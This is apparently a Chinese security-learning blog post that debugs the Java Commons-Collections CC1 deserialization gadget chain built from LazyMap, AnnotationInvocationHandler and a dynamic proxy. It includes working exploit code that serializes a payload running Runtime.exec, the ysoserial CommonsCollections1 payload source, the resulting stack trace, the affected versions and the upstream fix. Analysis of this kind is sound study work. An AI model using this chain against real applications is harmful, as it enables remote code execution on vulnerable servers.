Java反序列化链调试—初探(URLDNS、CC):二

前景提要 https://lrui1.top/posts/7929b704/

CC1

上文调试了CC1关于TransformedMap.checkSetValue()触发ChainedTransformer.transform()的攻击链,但是之前对Transformer.transform()Find Usage时,还有两个Map:DefaultedMap、LazyMap

image.png

其中LazyMap就是CC1的另外一种形式,接下来我们分析下LazyMap

攻击链构造

ChainedTransformer

参考直接的构造 https://lrui1.top/posts/7929b704/#ChainedTransformer-1

测试代码如下

@Test  
public void testTransform() throws Exception {  
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            // 反射获取getRuntime方法  
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
            // invoke,获取其返回值  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
            // 执行exec方法  
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
  
    });  
    chainedTransformer.transform("随便输入");  
}

LazyMap

LazyMap.get代码如下

public Object get(Object key) {  
    // create value for key if key is not currently in the map  
    if (map.containsKey(key) == false) {  
        Object value = factory.transform(key);  
        map.put(key, value);  
        return value;  
    }  
    return map.get(key);  
}

当map里不存在该元素时,会调用transform

该方法覆写了父类的get,作为其Map接口的实现方法,参考其构造函数

protected LazyMap(Map map, Transformer factory) {  
    super(map);  
    if (factory == null) {  
        throw new IllegalArgumentException("Factory must not be null");  
    }  
    this.factory = factory;  
}

不能直接访问,但是有一个静态方法,可创建LazyMap

public static Map decorate(Map map, Transformer factory) {  
    return new LazyMap(map, factory);  
}

测试代码如下

@Test  
public void testLazyMap() throws Exception {  
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            // 反射获取getRuntime方法  
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
            // invoke,获取其返回值  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
            // 执行exec方法  
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
  
    });  
    HashMap<String, String> hashMap = new HashMap<>();  
    hashMap.put("test","test");  
    Map decorate = LazyMap.decorate(hashMap, chainedTransformer);  
    decorate.get("map不存在");  
}

目前调用链

LazyMap.get()
	ChainedTransformer.transform()
		ConstantTransformer.transform()
		InvokerTransformer.transform()
		InvokerTransformer.transform()
		InvokerTransformer.transform() // sink Gadget

还需要继续往上找链——要找不是实现Map接口的其他类,调用这个Map.get()方法的类

使用Find Usage,查出来6580个results,找到猴年马月hh

image.png

站在前人的肩膀上,我们发现之前构造链中,AnnotationInvocationHandler.invoke方法存在调用Map.get行为

image.png

Holishift,分析一波

AnnotationInvocationHandler.invoke()

代码如下,memberValues.get()触发了Map.get()的调用

public Object invoke(Object proxy, Method method, Object[] args) {  
    String member = method.getName();  
    Class<?>[] paramTypes = method.getParameterTypes();  
  
    // Handle Object and Annotation methods  
    if (member.equals("equals") && paramTypes.length == 1 &&  
        paramTypes[0] == Object.class)  
        return equalsImpl(args[0]);  
    assert paramTypes.length == 0;  
    if (member.equals("toString"))  
        return toStringImpl();  
    if (member.equals("hashCode"))  
        return hashCodeImpl();  
    if (member.equals("annotationType"))  
        return type;  
  
    // Handle annotation member accessors  
    Object result = memberValues.get(member);  
  
    if (result == null)  
        throw new IncompleteAnnotationException(type, member);  
  
    if (result instanceof ExceptionProxy)  
        throw ((ExceptionProxy) result).generateException();  
  
    if (result.getClass().isArray() && Array.getLength(result) != 0)  
        result = cloneArray(result);  
  
    return result;  
}

简单分析其逻辑:获取方法名,赋值给member,判断是否为equalstoStringhashCodeannotationType,都不是的话,调用memberValues.get(member),触发前面构造的攻击链

那么,什么情况下会触发这个invoke呢?根据描述,AnnotationInvocationHandler是用于实现注解(Annotation)动态代理的调用处理程序

动态代理是什么?——可参考 https://blog.csdn.net/qq_59219765/article/details/156390944

这边摘录一个比较重要的总结:

4.1 JDK 动态代理的核心原理

核心依赖:JDK 动态代理的核心是两个类,都在java.lang.reflect包下,无需额外引入依赖:
InvocationHandler:调用处理器,定义增强逻辑的核心接口,所有的前置 / 后置增强都写在这个接口的实现类中。

Proxy:代理类的生成器,通过Proxy.newProxyInstance()方法,在运行时动态生成代理对象。
实现要求:目标类必须实现一个或多个接口,JDK 动态代理只能代理「实现了接口的类」。
底层逻辑:JVM 通过反射,读取目标类实现的接口信息,在运行时动态生成一个代理类的字节码,这个代理类会实现和目标类相同的接口,内部持有InvocationHandler的引用,调用代理方法时,最终会转发到InvocationHandler的invoke方法中执行增强 + 目标方法。

AnnotationInvocationHandler.invoke() 触发流程如下:(来源于Gemini3 pro)

  1. 创建 Handler: 实例化 AnnotationInvocationHandler,传入一个注解类型(如 Override.class)和一个 Map(通常是存放注解属性值的 Map)。

  2. 创建 Proxy: 使用 Proxy.newProxyInstance 创建一个动态代理对象。这个代理对象“假装”实现了某个接口(比如 Map 接口或者某个注解接口),并将上面的 Handler 绑定给它。

  3. 调用方法: 只要调用这个代理对象的任意方法(例如 proxy.size()proxy.value()),JVM 就会自动跳转到 Handler 的 invoke 方法。

    • 此时,method.getName() 就是你调用的方法名(例如 "size")。

    • 代码会执行 memberValues.get("size")

总结一句话:被动态代理的对象(使用A类代理对象B),B调用任何方法,都会调用A.invoke方法

测试代码如下

@Test  
public void testLazyMapAnno() throws Exception {  
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            // 反射获取getRuntime方法  
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
            // invoke,获取其返回值  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
            // 执行exec方法  
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
  
    });  
    HashMap<String, String> hashMap = new HashMap<>();  
    hashMap.put("test","test");  
    Map decorate = LazyMap.decorate(hashMap, chainedTransformer);  
  
    // 反射构造AnnotationInvocationHandler  
    Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
    Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class);  
    constructor.setAccessible(true);  
    InvocationHandler invoha = (InvocationHandler)constructor.newInstance(Override.class, decorate);  
  
    // 动态代理Map接口  
    Map map = (Map)Proxy.newProxyInstance(  
            Map.class.getClassLoader(),  
            new Class[]{Map.class},  
            invoha  
    );  
  
    map.isEmpty(); // 保证调用的该方法名,不在前面put的里面,即不是test  
}

目前调用链如下

(Map)Proxy4.isEmpty()
	AnnotationInvocationHandler.invoke()
		LazyMap.get()
			ChainedTransformer.transform()
				ConstantTransformer.transform()
				InvokerTransformer.transform()
				InvokerTransformer.transform()
				InvokerTransformer.transform() // sink Gadget

能弹计算器

image.png

AnnotationInvocationHandler.readObject()

我们之前也分析过它的readObject

private void readObject(java.io.ObjectInputStream s)  
    throws java.io.IOException, ClassNotFoundException {  
    s.defaultReadObject();  
  
  
    // Check to make sure that types have not evolved incompatibly  
  
    AnnotationType annotationType = null;  
    try {  
        annotationType = AnnotationType.getInstance(type);  
    } catch(IllegalArgumentException e) {  
        // Class is no longer an annotation type; all bets are off  
        return;  
    }  
  
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();  
  
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  
        String name = memberValue.getKey();  
        Class<?> memberType = memberTypes.get(name);  
        if (memberType != null) {  // i.e. member still exists  
            Object value = memberValue.getValue();  
            if (!(memberType.isInstance(value) ||  
                  value instanceof ExceptionProxy)) {  
                memberValue.setValue(  
                    new AnnotationTypeMismatchExceptionProxy(  
                        value.getClass() + "[" + value + "]").setMember(  
                            annotationType.members().get(name)));  
            }  
        }  
    }  
}

可以看到,readObject中存在memberValue调用方法,如果我们可以让AnnotationInvocationHandler代理memberValue,那么就可以进入到AnnotationInvocationHandler.invoke()方法,触发方法中Map.get的调用。

暂定利用条件如下

  1. AnnotationInvocationHandler属性值type,随便一个值
  2. AnnotationInvocationHandler属性值memberValues是AnnotationInvocationHandler代理LazyMap的对象

此时我们不需要关心for循环里的逻辑,在循环条件:memberValues.entrySet(),已经产生了代理调用,可以触发AnnotationInvocationHandler.invoke()方法了

测试代码如下

@Test  
public void testLazyMapCC1() throws Exception {  
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            // 反射获取getRuntime方法  
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
            // invoke,获取其返回值  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
            // 执行exec方法  
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
  
    });  
    HashMap<String, String> hashMap = new HashMap<>();  
    hashMap.put("test","test");  
    Map decorate = LazyMap.decorate(hashMap, chainedTransformer);  
  
    // 反射构造AnnotationInvocationHandler  
    Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
    Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class);  
    constructor.setAccessible(true);  
    InvocationHandler invoha = (InvocationHandler)constructor.newInstance(Override.class, decorate);  
  
    // 动态代理Map接口  
    Map map = (Map)Proxy.newProxyInstance(  
            Map.class.getClassLoader(),  
            new Class[]{Map.class},  
            invoha  
    );  
  
    Object payload = constructor.newInstance(Override.class, map);  
    ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC1.bin"));  
    ous.writeObject(payload);  
    System.out.println("ser successfully!");  
}

public static void main(String[] args) throws Exception {  
    Scanner sc = new Scanner(System.in);  
    String s = sc.nextLine();  
    ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(s)));  
    Object o = ois.readObject();  
    ois.close();  
    System.out.println("unser successfully");  
    User user = (User) o;  
    System.out.println(user);  
    sc.close();  
}

成功弹出计算器

image.png

至此,还有一个问题:动态代理创建的实例,为什么可以强制转换为Map?

Gemini:因为你调用 Proxy.newProxyInstance 时,第二个参数明确指定了该代理类必须实现 Map 接口。

Map map = (Map)Proxy.newProxyInstance(  
        Map.class.getClassLoader(),  
        new Class[]{Map.class},  
        invoha  
);

当你运行这段代码时,JVM 在底层(内存中)做了以下几件事:

  1. 动态生成类字节码:JVM 动态生成了一个新的类(通常命名为 $Proxy0$Proxy1 等)。

  2. 强制实现接口:根据你传入的第二个参数 new Class[]{Map.class},JVM 让这个新生成的类声明实现 Map 接口

  3. 继承 Proxy:这个新类默认继承自 java.lang.reflect.Proxy

如果把 JVM 生成的这个 $Proxy0 类的源码“反编译”出来,它大概长这样(伪代码):

// JVM 动态生成的类
public final class $Proxy0 extends java.lang.reflect.Proxy implements java.util.Map {
    
    // 构造函数,传入 handler
    public $Proxy0(InvocationHandler handler) {
        super(handler);
    }

    // 实现 Map 接口的所有方法
    @Override
    public int size() {
        // 将调用转发给 handler.invoke
        return (Integer) super.h.invoke(this, m3, null);
    }

    @Override
    public Object get(Object key) {
        // 将调用转发给 handler.invoke
        return super.h.invoke(this, m4, new Object[] { key });
    }
    
    // ... 其他 Map 方法 ...
}

所有的Map接口的逻辑都会交给handle中的invoke处理

总结

调用链如下

AnnotationInvocationHandler.readObject() // kick-off gadget
	(Map)Proxy4.entrySet()
		AnnotationInvocationHandler.invoke()
			LazyMap.get()
				ChainedTransformer.transform() // chain gadget
					ConstantTransformer.transform()
					InvokerTransformer.transform()
					InvokerTransformer.transform()
					InvokerTransformer.transform() // sink Gadget

程序调用堆栈如下

org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)
org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77)
com.sun.proxy.$Proxy0.entrySet(Unknown Source:-1)
sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)

影响版本:

commons-collections : 3.1-3.2.1

jdk < 8u71

参考 https://xz.aliyun.com/news/8908#toc-1

ysoserial的实现思路

@PayloadTest ( precondition = "isApplicableJavaVersion")  
@Dependencies({"commons-collections:commons-collections:3.1"})  
@Authors({ Authors.FROHOFF })  
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {  
  
    public InvocationHandler getObject(final String command) throws Exception {  
       final String[] execArgs = new String[] { command };  
       // inert chain for setup  
       final Transformer transformerChain = new ChainedTransformer(  
          new Transformer[]{ new ConstantTransformer(1) });  
       // real chain for after setup  
       final Transformer[] transformers = new Transformer[] {  
             new ConstantTransformer(Runtime.class),  
             new InvokerTransformer("getMethod", new Class[] {  
                String.class, Class[].class }, new Object[] {  
                "getRuntime", new Class[0] }),  
             new InvokerTransformer("invoke", new Class[] {  
                Object.class, Object[].class }, new Object[] {  
                null, new Object[0] }),  
             new InvokerTransformer("exec",  
                new Class[] { String.class }, execArgs),  
             new ConstantTransformer(1) };  
  
       final Map innerMap = new HashMap();  
  
       final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);  
  
       final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);  
  
       final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);  
  
       Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain  
  
       return handler;  
    }  
  
    public static void main(final String[] args) throws Exception {  
       PayloadRunner.run(CommonsCollections1.class, args);  
    }  
  
    public static boolean isApplicableJavaVersion() {  
        return JavaVersion.isAnnInvHUniversalMethodImpl();  
    }  
}

主要是在getObject方法上,其主要思路就是利用LazyMap+AnnotationInvocationHandler结合动态代理,跟前文的调试思路是一样的。

修复措施

https://github.com/apache/commons-collections/commit/1642b00d67b96de87cad44223efb9ab5b4fb7be5#diff-9b5269539d9bbb441b9b61a41d4ee7faa0877e0b3ca328b9085b36506e95d780

通过重写InvokerTransformerreadObject方法来禁用其反序列化功能

默认情况下,“InvokerTransformer”的反序列化功能被禁用,因为该漏洞可被利用进行远程代码执行攻击。重新启用该功能,系统属性“org.apache.commons.collections.invokertransformer.enableSerialization”需要设置为“true”。

/** System property key to enable de-serialization */
public final static String DESERIALIZE
	= "org.apache.commons.collections.invokertransformer.enableDeserialization";

/**
 * Overrides the default readObject implementation to prevent
 * de-serialization (see COLLECTIONS-580).
 */
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
	String deserializeProperty;
	
	try {
		deserializeProperty = 
			(String) AccessController.doPrivileged(new PrivilegedAction() {
				public Object run() {
					return System.getProperty(DESERIALIZE);
				}
			});
	} catch (SecurityException ex) {
		deserializeProperty = null;
	}

	if (deserializeProperty == null || !deserializeProperty.equalsIgnoreCase("true")) {
		throw new UnsupportedOperationException("Deserialization of InvokerTransformer is disabled, ");
	}
	
	is.defaultReadObject();
}

写在最后

关于已存在的反序列化链CC1总算是调试完了,也学习到了一些对反序列化链的挖掘,利用的思路,可能目前还做不到挖掘一条链,不过我觉得现在可以做到分析别人挖掘出的链就已经很好了

接下来继续调试CC系列反序列化链,坚持年前调完

参考链接

https://www.freebuf.com/articles/web/214096.html

posted @ 2026-01-19 11:23  lrui1  阅读(0)  评论(0)    收藏  举报